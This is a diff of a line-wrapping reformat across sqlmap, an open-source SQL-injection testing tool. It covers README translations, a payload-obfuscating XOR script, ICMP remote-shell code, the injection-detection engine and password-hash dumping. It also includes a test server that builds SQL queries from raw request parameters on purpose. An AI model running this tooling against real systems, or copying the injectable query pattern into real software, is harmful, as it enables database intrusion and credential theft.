Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy
chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (
Tiếng Anh).
Liên kết Liên kết
---- ----
* Trang chủ: https://sqlmap.org * Trang chủ: https://sqlmap.org
* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues * Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues
* Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -2,7 +2,8 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap 是一个开源的渗透测试工具可以用来自动化的检测利用SQL注入漏洞获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。 sqlmap
是一个开源的渗透测试工具可以用来自动化的检测利用SQL注入漏洞获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。
演示截图 演示截图
---- ----
@ -14,7 +15,8 @@ sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,
安装方法 安装方法
---- ----
你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. 你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码
或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码.
推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: 推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码:
@ -33,13 +35,16 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.
python sqlmap.py -hh python sqlmap.py -hh
你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap
的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)
。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
链接 链接
---- ----
* 项目主页: https://sqlmap.org * 项目主页: https://sqlmap.org
* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom * RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -13,6 +13,7 @@ import wave
BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav") BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav")
def beep(): def beep():
try: try:
if sys.platform.startswith("win"): if sys.platform.startswith("win"):
@ -28,6 +29,7 @@ def beep():
except: except:
_speaker_beep() _speaker_beep()
def _speaker_beep(): def _speaker_beep():
sys.stdout.write('\a') # doesn't work on modern Linux systems sys.stdout.write('\a') # doesn't work on modern Linux systems
@ -36,19 +38,23 @@ def _speaker_beep():
except IOError: except IOError:
pass pass
# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html # Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html
def _cygwin_beep(filename): def _cygwin_beep(filename):
os.system("play-sound-file '%s' 2>/dev/null" % filename) os.system("play-sound-file '%s' 2>/dev/null" % filename)
def _mac_beep(): def _mac_beep():
import Carbon.Snd import Carbon.Snd
Carbon.Snd.SysBeep(1) Carbon.Snd.SysBeep(1)
def _win_wav_play(filename): def _win_wav_play(filename):
import winsound import winsound
winsound.PlaySound(filename, winsound.SND_FILENAME) winsound.PlaySound(filename, winsound.SND_FILENAME)
def _linux_wav_play(filename): def _linux_wav_play(filename):
for _ in ("aplay", "paplay", "play"): for _ in ("aplay", "paplay", "play"):
if not os.system("%s '%s' 2>/dev/null" % (_, filename)): if not os.system("%s '%s' 2>/dev/null" % (_, filename)):
@ -77,7 +83,8 @@ def _linux_wav_play(filename):
error = ctypes.c_int(0) error = ctypes.c_int(0)
pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error)) pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec),
None, None, ctypes.byref(error))
if not pa_stream: if not pa_stream:
raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error))) raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error)))
@ -100,5 +107,6 @@ def _linux_wav_play(filename):
pa.pa_simple_free(pa_stream) pa.pa_simple_free(pa_stream)
if __name__ == "__main__": if __name__ == "__main__":
beep() beep()

View File

@ -23,9 +23,11 @@ if sys.version_info >= (3, 0):
KEY = b"ENWsCymUeJcXqSbD" KEY = b"ENWsCymUeJcXqSbD"
def xor(message, key): def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
def cloak(inputFile=None, data=None): def cloak(inputFile=None, data=None):
if data is None: if data is None:
with open(inputFile, "rb") as f: with open(inputFile, "rb") as f:
@ -33,6 +35,7 @@ def cloak(inputFile=None, data=None):
return xor(zlib.compress(data), KEY) return xor(zlib.compress(data), KEY)
def decloak(inputFile=None, data=None): def decloak(inputFile=None, data=None):
if data is None: if data is None:
with open(inputFile, "rb") as f: with open(inputFile, "rb") as f:
@ -48,6 +51,7 @@ def decloak(inputFile=None, data=None):
return data return data
def main(): def main():
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0] usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.2') parser = OptionParser(usage=usage, version='0.2')
@ -84,5 +88,6 @@ def main():
f.write(data) f.write(data)
f.close() f.close()
if __name__ == '__main__': if __name__ == '__main__':
main() main()

View File

@ -15,6 +15,7 @@ import sys
from optparse import OptionError from optparse import OptionError
from optparse import OptionParser from optparse import OptionParser
def convert(inputFile): def convert(inputFile):
fileStat = os.stat(inputFile) fileStat = os.stat(inputFile)
fileSize = fileStat.st_size fileSize = fileStat.st_size
@ -58,6 +59,7 @@ def convert(inputFile):
return script return script
def main(inputFile, outputFile): def main(inputFile, outputFile):
if not os.path.isfile(inputFile): if not os.path.isfile(inputFile):
print("ERROR: the provided input file '%s' is not a regular file" % inputFile) print("ERROR: the provided input file '%s' is not a regular file" % inputFile)
@ -73,6 +75,7 @@ def main(inputFile, outputFile):
else: else:
print(script) print(script)
if __name__ == "__main__": if __name__ == "__main__":
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0] usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
parser = OptionParser(usage=usage, version="0.1") parser = OptionParser(usage=usage, version="0.1")

View File

@ -24,6 +24,7 @@ import select
import socket import socket
import sys import sys
def setNonBlocking(fd): def setNonBlocking(fd):
""" """
Make a file descriptor non-blocking Make a file descriptor non-blocking
@ -35,6 +36,7 @@ def setNonBlocking(fd):
flags = flags | os.O_NONBLOCK flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags) fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def main(src, dst): def main(src, dst):
if sys.platform == "nt": if sys.platform == "nt":
sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.stderr.write('icmpsh master can only run on Posix systems\n')
@ -134,6 +136,7 @@ def main(src, dst):
except: except:
break break
if __name__ == '__main__': if __name__ == '__main__':
if len(sys.argv) < 3: if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n' msg = 'missing mandatory options. Execute as root:\n'

View File

@ -5,6 +5,7 @@ from __future__ import print_function
import os import os
import sys import sys
def check(filepath): def check(filepath):
if filepath.endswith(".py"): if filepath.endswith(".py"):
content = open(filepath, "rb").read() content = open(filepath, "rb").read()
@ -14,6 +15,7 @@ def check(filepath):
index = content.find(pattern) index = content.find(pattern)
print(filepath, repr(content[index - 30:index + 30])) print(filepath, repr(content[index - 30:index + 30]))
if __name__ == "__main__": if __name__ == "__main__":
try: try:
BASE_DIRECTORY = sys.argv[1] BASE_DIRECTORY = sys.argv[1]

View File

@ -63,6 +63,7 @@ _lock = None
_server = None _server = None
_alive = False _alive = False
def init(quiet=False): def init(quiet=False):
global _conn global _conn
global _cursor global _cursor
@ -82,6 +83,7 @@ def init(quiet=False):
print = _ print = _
class ThreadingServer(ThreadingMixIn, HTTPServer): class ThreadingServer(ThreadingMixIn, HTTPServer):
def finish_request(self, *args, **kwargs): def finish_request(self, *args, **kwargs):
try: try:
@ -90,6 +92,7 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
if DEBUG: if DEBUG:
traceback.print_exc() traceback.print_exc()
class ReqHandler(BaseHTTPRequestHandler): class ReqHandler(BaseHTTPRequestHandler):
def do_REQUEST(self): def do_REQUEST(self):
path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
@ -110,9 +113,13 @@ class ReqHandler(BaseHTTPRequestHandler):
if self.data.startswith('{') and self.data.endswith('}'): if self.data.startswith('{') and self.data.endswith('}'):
params.update(json.loads(self.data)) params.update(json.loads(self.data))
elif self.data.startswith('<') and self.data.endswith('>'): elif self.data.startswith('<') and self.data.endswith('>'):
params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data))) params.update(dict((_[0],
_[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace(
"&gt;", '>').replace("&amp;", '&')) for _ in
re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
else: else:
self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';' self.data = self.data.replace(';',
'&') # Note: seems that Python3 started ignoring parameter splitting with ';'
params.update(parse_qs(self.data)) params.update(parse_qs(self.data))
for name in self.headers: for name in self.headers:
@ -137,7 +144,8 @@ class ReqHandler(BaseHTTPRequestHandler):
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close") self.send_header("Connection", "close")
self.end_headers() self.end_headers()
self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>") self.wfile.write(
b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
else: else:
code, output = OK, "" code, output = OK, ""
@ -153,7 +161,8 @@ class ReqHandler(BaseHTTPRequestHandler):
_cursor.execute(self.params["query"]) _cursor.execute(self.params["query"])
elif "id" in self.params: elif "id" in self.params:
if "base64" in self.params: if "base64" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode()) _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode(
"%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
else: else:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall() results = _cursor.fetchall()
@ -237,6 +246,7 @@ class ReqHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args): def log_message(self, format, *args):
return return
def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
global _alive global _alive
global _server global _server
@ -251,9 +261,11 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
finally: finally:
_alive = False _alive = False
if __name__ == "__main__": if __name__ == "__main__":
try: try:
init() init()
run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS, int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT)) run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS,
int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT))
except KeyboardInterrupt: except KeyboardInterrupt:
print("\r[x] Ctrl-C received") print("\r[x] Ctrl-C received")

View File

@ -20,6 +20,7 @@ from lib.utils.brute import columnExists
from lib.utils.brute import fileExists from lib.utils.brute import fileExists
from lib.utils.brute import tableExists from lib.utils.brute import tableExists
def action(): def action():
""" """
This function exploit the SQL injection on the affected This function exploit the SQL injection on the affected
@ -80,7 +81,8 @@ def action():
if conf.getPasswordHashes: if conf.getPasswordHashes:
try: try:
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) conf.dumper.userSettings("database management system users password hashes",
conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) logger.critical(ex)
except: except:
@ -88,7 +90,8 @@ def action():
if conf.getPrivileges: if conf.getPrivileges:
try: try:
conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES) conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(),
"privilege", CONTENT_TYPE.PRIVILEGES)
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) logger.critical(ex)
except: except:
@ -96,7 +99,8 @@ def action():
if conf.getRoles: if conf.getRoles:
try: try:
conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES) conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role",
CONTENT_TYPE.ROLES)
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) logger.critical(ex)
except: except:

View File

@ -105,6 +105,7 @@ from lib.techniques.union.use import configUnion
from thirdparty import six from thirdparty import six
from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_client as _http_client
def checkSqlInjection(place, parameter, value): def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to # Store here the details about boundaries and payload used to
# successfully inject # successfully inject
@ -115,10 +116,18 @@ def checkSqlInjection(place, parameter, value):
# Favoring non-string specific boundaries in case of digit-like parameter values # Favoring non-string specific boundaries in case of digit-like parameter values
if isDigit(value): if isDigit(value):
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries),
key=lambda boundary: any(
_ in (boundary.prefix or "") or _ in (
boundary.suffix or "") for _ in
('"', '\'')))
boundaries = kb.cache.intBoundaries boundaries = kb.cache.intBoundaries
elif value.isalpha(): elif value.isalpha():
kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries),
key=lambda boundary: not any(
_ in (boundary.prefix or "") or _ in (
boundary.suffix or "") for _ in
('"', '\'')))
boundaries = kb.cache.alphaBoundaries boundaries = kb.cache.alphaBoundaries
else: else:
boundaries = conf.boundaries boundaries = conf.boundaries
@ -154,23 +163,32 @@ def checkSqlInjection(place, parameter, value):
# payload), ask the user to limit the tests to the fingerprinted # payload), ask the user to limit the tests to the fingerprinted
# DBMS # DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): if kb.reduceTests is None and not conf.testFilter and (
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/')) intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS,
True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (
Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg,
default='Y',
boolean=True) else []
# If the DBMS has been fingerprinted (via DBMS-specific error # If the DBMS has been fingerprinted (via DBMS-specific error
# message, via simple heuristic check or via DBMS-specific # message, via simple heuristic check or via DBMS-specific
# payload), ask the user to extend the tests to all DBMS-specific, # payload), ask the user to extend the tests to all DBMS-specific,
# regardless of --level and --risk values provided # regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (
intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS,
True) or kb.heuristicDbms or injection.dbms):
msg = "for the remaining tests, do you want to include all tests " msg = "for the remaining tests, do you want to include all tests "
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/')) msg += "for '%s' extending provided " % (
Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "level (%d)" % conf.level if conf.level < 5 else "" msg += "level (%d)" % conf.level if conf.level < 5 else ""
msg += " and " if conf.level < 5 and conf.risk < 3 else "" msg += " and " if conf.level < 5 and conf.risk < 3 else ""
msg += "risk (%d)" % conf.risk if conf.risk < 3 else "" msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]" msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]"
kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y',
boolean=True) else []
title = test.title title = test.title
kb.testType = stype = test.stype kb.testType = stype = test.stype
@ -247,7 +265,9 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is not included by the # Skip tests if title, vector or DBMS is not included by the
# given test filter # given test filter
if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): if conf.testFilter and not any(
conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in
(test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is not included by the given filter" debugMsg += "name/vector/DBMS is not included by the given filter"
logger.debug(debugMsg) logger.debug(debugMsg)
@ -255,7 +275,8 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is included by the # Skip tests if title, vector or DBMS is included by the
# given skip filter # given skip filter
if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in
(test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is included by the given skip filter" debugMsg += "name/vector/DBMS is included by the given skip filter"
logger.debug(debugMsg) logger.debug(debugMsg)
@ -367,7 +388,9 @@ def checkSqlInjection(place, parameter, value):
# Parse test's <request> # Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (
PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (
value or "") else None)
for boundary in boundaries: for boundary in boundaries:
injectable = False injectable = False
@ -375,7 +398,8 @@ def checkSqlInjection(place, parameter, value):
# Skip boundary if the level is higher than the provided (or # Skip boundary if the level is higher than the provided (or
# default) value # default) value
# Parse boundary's <level> # Parse boundary's <level>
if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): if boundary.level > conf.level and not (
kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
continue continue
# Skip boundary if it does not match against test's <clause> # Skip boundary if it does not match against test's <clause>
@ -469,7 +493,8 @@ def checkSqlInjection(place, parameter, value):
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if reqPayload: if reqPayload:
stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload) stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>",
reqPayload)
if stripPayload in seenPayload: if stripPayload in seenPayload:
continue continue
else: else:
@ -481,13 +506,19 @@ def checkSqlInjection(place, parameter, value):
# payload was successful # payload was successful
# Parse test's <response> # Parse test's <response>
for method, check in test.response.items(): for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) check = agent.cleanupPayload(check, origValue=value if place not in (
PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (
value or "") else None)
# In case of boolean-based blind SQL injection # In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON: if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison # Generate payload used for comparison
def genCmpPayload(): def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) sndPayload = agent.cleanupPayload(test.response.comparison,
origValue=value if place not in (
PLACE.URI, PLACE.CUSTOM_POST,
PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (
value or "") else None)
# Forge response payload by prepending with # Forge response payload by prepending with
# boundary's prefix and appending the boundary's # boundary's prefix and appending the boundary's
@ -528,7 +559,7 @@ def checkSqlInjection(place, parameter, value):
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
trueRawResponse = "%s%s" % (trueHeaders, truePage) trueRawResponse = "%s%s" % (trueHeaders, truePage)
if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))): if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))):
# Perform the test's False request # Perform the test's False request
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
@ -536,16 +567,19 @@ def checkSqlInjection(place, parameter, value):
if kb.negativeLogic: if kb.negativeLogic:
boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause) boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) errorPayload = agent.payload(place, parameter, newValue=boundPayload,
where=where)
errorResult = Request.queryPage(errorPayload, place, raise404=False) errorResult = Request.queryPage(errorPayload, place, raise404=False)
if errorResult: if errorResult:
continue continue
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): elif kb.heuristicPage and not any(
(conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
_ = comparison(kb.heuristicPage, None, getRatioValue=True) _ = comparison(kb.heuristicPage, None, getRatioValue=True)
if (_ or 0) > (kb.matchRatio or 0): if (_ or 0) > (kb.matchRatio or 0):
kb.matchRatio = _ kb.matchRatio = _
logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio) logger.debug(
"adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
# Reducing false-positive "appears" messages in heavily dynamic environment # Reducing false-positive "appears" messages in heavily dynamic environment
if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False): if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
@ -553,13 +587,15 @@ def checkSqlInjection(place, parameter, value):
injectable = True injectable = True
elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any(
(conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
if threadData.lastErrorPage and threadData.lastErrorPage[1]: if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n")) errorSet = set(
getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n"))
else: else:
errorSet = set() errorSet = set()
@ -569,21 +605,28 @@ def checkSqlInjection(place, parameter, value):
if candidates: if candidates:
candidates = sorted(candidates, key=len) candidates = sorted(candidates, key=len)
for candidate in candidates: for candidate in candidates:
